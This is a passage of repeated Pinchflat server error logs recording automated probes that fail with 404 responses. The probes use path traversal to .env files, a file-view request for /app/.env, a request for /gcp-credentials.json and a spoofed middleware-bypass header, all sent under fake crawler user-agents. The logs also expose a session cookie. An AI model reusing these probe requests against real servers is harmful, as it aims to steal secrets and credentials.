"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", " (truncated) 16:49:04.566 [info] GET /cache/original/%2e%2e/%2e%2e/.env 16:49:04.567 [debug] QUERY OK source="settings" db=0.0ms idle=63.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.567 [debug] QUERY OK source="settings" db=0.0ms idle=63.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.567 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.567 [error] #PID<0.29515.0> running PinchflatWeb.Endpoint (connection #PID<0.29514.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /cache/original/%2e%2e/%2e%2e/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cache/original/%2e%2e/%2e%2e/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/original/%2e%2e/%2e%2e/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33334}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29515.0>, params: %{}, path_info: ["cache", "original", "%2e%2e", "%2e%2e", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/cache/original/%2e%2e/%2e%2e/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61QK0eR47RYgAAH7j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/original/%2e%2e/%2e%2e/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33334}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cache/original/%2e%2e/%2e%2e/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29514.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/original/%2e%2e/%2e%2e/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33334}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", (truncated) 16:49:04.585 [info] GET /cache/original/%2e%2e/.env 16:49:04.585 [debug] QUERY OK source="settings" db=0.0ms idle=81.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.585 [debug] QUERY OK source="settings" db=0.0ms idle=51.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.586 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.586 [error] #PID<0.29517.0> running PinchflatWeb.Endpoint (connection #PID<0.29516.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /cache/original/%2e%2e/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cache/original/%2e%2e/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/original/%2e%2e/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33336}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29517.0>, params: %{}, path_info: ["cache", "original", "%2e%2e", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/cache/original/%2e%2e/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61QPRhYDVrKcAAH8D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/original/%2e%2e/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33336}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cache/original/%2e%2e/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29516.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cache/original/%2e%2e/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33336}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: (truncated) 16:49:04.611 [info] GET /api/system/fileView 16:49:04.611 [debug] QUERY OK source="settings" db=0.0ms idle=77.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.612 [debug] QUERY OK source="settings" db=0.0ms idle=44.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.612 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.612 [error] #PID<0.29519.0> running PinchflatWeb.Endpoint (connection #PID<0.29518.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/system/fileView?file=/app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/system/fileView (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/system/fileView", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33340}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "file=/app/.env", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29519.0>, params: %{"file" => "/app/.env"}, path_info: ["api", "system", "fileView"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"file" => "/app/.env"}, query_string: "file=/app/.env", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/system/fileView", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61QVeMeeHpLEABvgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/system/fileView", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33340}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "file=/app/.env", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/system/fileView (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29518.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/system/fileView", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33340}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" } (truncated) 16:49:04.929 [info] GET /gcp-credentials.json 16:49:04.930 [debug] QUERY OK source="settings" db=0.1ms idle=362.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.930 [debug] QUERY OK source="settings" db=0.0ms idle=344.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.930 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.930 [error] #PID<0.29521.0> running PinchflatWeb.Endpoint (connection #PID<0.29520.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /gcp-credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33356}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29521.0>, params: %{}, path_info: ["gcp-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", 